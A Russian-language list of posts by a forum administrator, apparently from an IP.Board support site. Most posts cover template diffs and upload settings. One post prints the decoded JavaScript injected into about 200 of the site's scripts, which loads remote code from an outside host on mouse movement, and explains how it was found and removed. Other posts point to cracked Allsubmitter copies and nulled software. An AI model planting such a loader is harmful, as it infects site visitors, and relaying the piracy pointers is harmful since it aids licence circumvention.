Перейти к содержанию

Respected

Администраторы
  • Постов

    13735
  • Зарегистрирован

  • Посещение

  • Победитель дней

    770

Весь контент Respected

  1. Копирайт оставь на месте и перестрой кеш стиля!
  2. Улыбнуло) А что именно криво то? Я не экстрасенс..
  3. После чего появилась? Кеш перестраивал?
  4. skin_global_other > tagEntry Заменено: <if test="isNotHuman:|:!$this->member->is_not_human"> <a <if test="noClass:|:!$noClass">class='ipsTag'</if> На: <a <if test="noClass:|:!$noClass">class='ipsTag'</if>[/code] [i][b]Заменено:[/b][/i] [code] <if test="isNotHuman:|:!$this->member->is_not_human"> <a <if test="noClass:|:!$noClass">class='ipsTag'</if> href="{parse url="app=core&amp;module=search&amp;do=search&amp;search_tags={parse expression="urlencode($tag)"}&amp;search_app=<if test="inSearch:|:isset($this->request['search_app']) AND $this->request['search_app']">{$this->request['search_app']}<else />{$app}</if> <if test="hasSearchSection:|:$section">&amp;search_app_filters[<if test="inSearchSub:|:isset($this->request['search_app']) AND $this->request['search_app']">{$this->request['search_app']}<else />{$app}</if>][searchInKey]={$section}</if>" base="public"}"data-tooltip="{parse expression="sprintf( $this->lang->words['find_more_tags'], $tag )"}"> <span>{$tag}</span> </a> <else /> {$tag} </if> [/code] [b]На:[/b] [CODE]<a <if test="noClass:|:!$noClass">class='ipsTag'</if> href="{parse url="app=core&amp;module=search&amp;do=search&amp;search_tags={parse expression="urlencode($tag)"}&amp;search_app=<if test="inSearch:|:isset($this->request['search_app']) AND $this->request['search_app']">{$this->request['search_app']}<else />{$app}</if> <if test="hasSearchSection:|:$section">&amp;search_app_filters[<if test="inSearchSub:|:isset($this->request['search_app']) AND $this->request['search_app']">{$this->request['search_app']}<else />{$app}</if>][searchInKey]={$section}</if>"base="public" template="tags" seotitle="false"}" data-tooltip="{parse expression="sprintf( $this->lang->words['find_more_tags'], $tag )"}"> <span>{$tag}</span> </a>[/code]
  5. skin_global > globalTemplate (Глобальные --> globalTemplate) Заменено: <div id='logo'> <if test="brandingBar:|:ipsRegistry::$applications[ $this->registry->getCurrentApplication() ]['hasCustomHeader']"> {parse template="overwriteHeader" group="{current_app}_global" params=""} <else /> {parse template="defaultHeader" group="global" params=""} </if> </div> {parse template="quickSearch" group="global" params=""} </div> На: <div class='main_width'> <div id='logo'> <if test="brandingBar:|:ipsRegistry::$applications[ $this->registry->getCurrentApplication() ]['hasCustomHeader']"> {parse template="overwriteHeader" group="{current_app}_global" params=""} <else /> {parse template="defaultHeader" group="global" params=""} </if> </div> <if test="canSearch:|:$this->memberData['g_use_search']"> {parse template="quickSearch" group="global" params=""} </if> </div> [/code] [i][b]Заменено:[/b][/i] [code] {$this->lang->words['skin_browser_set']} <a href='{parse url="{$this->settings['query_string_formatted']}&amp;unlockUserAgent=1" base="public"}'>{$this->lang->words['override_browser_theme']}</a> [/code] ] [b]На:[/b] [code] {$this->lang->words['skin_browser_set']} <a href='#' data-clicklaunch='changeSkin' data-skinid='unlockUserAgent'>{$this->lang->words['override_browser_theme']}</a> [/code] [i][b]Заменено:[/b][/i] [code] <a href='{parse url="{$this->settings['query_string_formatted']}&amp;setAsMobile=1" base="public"}'>{$this->lang->words['set_mobile_theme']}</a> [/code] [b]На:[/b] [code] <a href='#' data-clicklaunch='changeSkin' data-skinid='setAsMobile'>{$this->lang->words['set_mobile_theme']}</a> [/code] [i][b]Заменено:[/b][/i] [code] <a href='{parse url="{$this->settings['query_string_formatted']}&amp;k={$this->member->form_hash}&amp;settingNewSkin={$skin['id']}" base="public"}'>{$skin['title']}</a> [/code] [b]На:[/b] [CODE] <a href='#' data-clicklaunch='changeSkin' data-skinid='{$skin['id']}'>{$skin['title']}</a> [/code]
  6. skin_forum > topic (Список тем форума > topic) Заменено (2 раза): title='{$this->lang->words['topic_goto_page']} На: title='{$data['title']} {$this->lang->words['topic_goto_page']}[/code] [i][b]Заменено:[/b][/i] [code] <a href="{parse url="app=forums.................[/code] [b]На:[/b] [code]<a <if test="isMember:|:$this->memberData['member_id']"> <a href="{parse url="app=forums.................[/code] [i][b]Заменено:[/b][/i] [code] ...............ipb.forums.retrieveWhoPosted( {$data['tid']} );">{parse format_number="$data['posts']"}......................[/code] [b]На:[/b] [code]...............ipb.forums.retrieveWhoPosted( {$data['tid']} );"> </if>{parse format_number="$data['posts']"}......................[/code] [i][b]Заменено:[/b][/i] [code] ...............<else />{$this->lang->words['replies']}</if> </a>[/code] [b]На:[/b] [CODE]...............<else />{$this->lang->words['replies']}</if> <if test="isMemberCloseA:|:$this->memberData['member_id']"> </a> </if>[/code]
  7. Список изменений в стиле IP.Board 3.3.0 Beta 2 по сравнению с Beta 1: ipb_styles.css: Заменено: #user_link_dd На: #user_link_dd, .dropdownIndicator Заменено: #user_link_dd На: #user_link_dd, .menu_active .dropdownIndicator Удалено: } .submenu_indicator { display: inline-block; width: 9px; height: 5px; background: url({style_images_url}/header_dropdown.png ) no-repeat left; } .submenu_container.ipsHeaderMenu { width: 260px; } .submenu_container .submenu_links li { line-height: 130%; margin: 4px 0; text-shadow: 0px 1px 0 rgba(255,255,255,1); white-space: nowrap; Заменено: #primary_nav li На: #community_app_menu > li Заменено: #primary_nav a На: #community_app_menu > li > a Заменено: #primary_nav a:hover, #primary_nav a.menu_active На: #community_app_menu > li > a:hover, #community_app_menu > li > a.menu_active Заменено: #more_apps_menucontent На: #more_apps_menucontent, .submenu_container Заменено: #more_apps_menucontent li На: #more_apps_menucontent li, .submenu_container li Заменено: #more_apps_menucontent a На: #more_apps_menucontent a, .submenu_container a Добавлено: #more_apps_menucontent li:hover, .submenu_container li:hover { background-color: #fff !important; } Заменено: #more_apps_menucontent a:hover На: #more_apps_menucontent:hover a, .submenu_container li:hover a Добавлено: #community_app_menu .submenu_container { width: 260px; } #community_app_menu .submenu_container li { width: 260px; }
  8. Итак, недавно наш форум столкнулся с фреймом, который антивирусы посчитали за вирусную ссылку. Так как это мой первый опыт с вирусом на сайте/форуме, то я его обнаружил не так быстро, как мне хотелось.. Поделюс опытом удаления 'плохого' скрипта с форума. Как работал фрейм? Очень просто, при загрузке страницы, подгружающей заражённый яваскрипт, он активировался при малейшем движении курсором мышки и подгружал яваскрипт с какого-то постороннего сайта, в моём случае это был ___constructivehell.is-a-cubicle-slave.com/g/1351559130384.js, что делает этот срипт - не известно. Названиние подгружаемого скрипта генерировалось автоматически. Первое, что пришло мне на ум - сделать резервную копию форума и слить её на компьютер, а там уже разными прогами искать вирус по тексту в файлах.... Что я и сделал. Скачав копию форума, я начал искать название ссылки, которую блокировал антивирус, во всей копии с помощью программы Folder Find Text, но все мои попытки были напрасными.. Ссылка не находилась. Тогда я обратился хостеру, который подсказал мне где может находиться вирус и как его обнаружить (золотой же человек мой хостер ) То, что вирусный код содержится в яваскриптах, он сказал однозначно и уверенно. Как же мне найти этот код? Было предложено отсортировать файлы по дате изменения и уже смотреть их.. Но я пошёл другим путём, поискал в интрнете подобный случай и обнаружил, что это код кодируется в скриптах. Там же я обнаружил как именно он кодируется, и, по небольшому кусочку кода, начал поиск по резервной копии.. Результаты поиска меня просто шокировали: около 200 яваскриптов было заражено этим кодом. Вот как он выглядит в зашифрованном виде: А вот как в расшифрованном виде: (function() { var url = '__constructivehell.is-a-cubicle-slave.com/g/'; if (typeof window.xyzflag === 'undefined') { window.xyzflag = 0; } document.onmousemove = function() { if (window.xyzflag === 0) { window.xyzflag = 1; var head = document.getElementsByTagName('head')[0]; var script = document.createElement('script'); script.type = 'text/javascript'; script.onreadystatechange = function() { if (this.readyState == 'complete') { window.xyzflag = 2; } }; script.onload = function() { window.xyzflag = 2; }; script.src = url + Math.random().toString().substring(3) + '.js'; head.appendChild(script); } }; })(); [/code] [/spoiler] Пришлось очищать каждый скрипт от этого кода. У меня сразу же возникло пару вопросов: Как он мог проникнуть в скрипты на сервере? Кто его туда записал? По моему [u]не профессиональному[/u] мнению, я могу лишь предположить, что у меня просто угнали данные для доступа к FTP, что можно проверить по логам, было ли там копирование, а затем замена практически всех яваскриптов на форуме...
  9. Установи чат, зайди на форум и посмотри лог файл из папки cache.
  10. 7.03 - новая версия с новыми возможностями. Пользоваться ей будет не так уж просто... замудрённый метод обхода лицензии. на рутрекере есть :D
  11. В инете есть уже Allsubmitter v7.03 крякнутая рабочая..
  12. В русскоязычной не работает из за не профессионального нулла, можно исправить конечно, но это займёт много времени у меня, не хочу этим заниматься..
  13. В англоязычном нулле визуальный редактор работает!
  14. Есть, но он скорее всего отключён! Точно не знаю!
  15. Пользовался давненько этой программой, прога супер. Максимальный эффект регистрации форума/сайта можно получить лишь купив лицензию + парочка платных баз! Ломаная прога и старые базы, что можно найти на просторах инета дают очень маленький выхлоп. ИМХО Почему? что пишет?
  16. Потому что это не ссылка! Это загруженное на сервер изображение! Нет, это не глюк! В настройках данного форума нужно разрешить гостям загрузку файлов!
  17. На скриншоте показано загруженное изображение, его он не будет скрывать, т.к. это не ссылка!
  18. Ссылочку на форум в ЛС пожалуйста!
  19. Тут может быть несколько причин, одной из которых является не правильный путь до папки uploads в админке, либо нет прав на запись. Что нужно сделать? 1. Проверить путь к папке uploads: Глобальные настройки --> Пути и адреса форума 2. Проверить права на папку. FTP-клиент, либо админпанель хоста; 3. Прописать инструкции в .htaccess (см выше) 4. Если не помогает - сменить загрузчик с флеш на обычный) ------------------------------------------------------ Пока писал сообщение - всё нормализовалось
  20. В форме быстрого ответа вроде нельзя файлы прикреплять)
  21. в .htaccess добавь: php_value upload_max_filesize 25M php_value max_execution_time 800 php_value post_max_size 20M [/CODE]
×
×
  • Создать...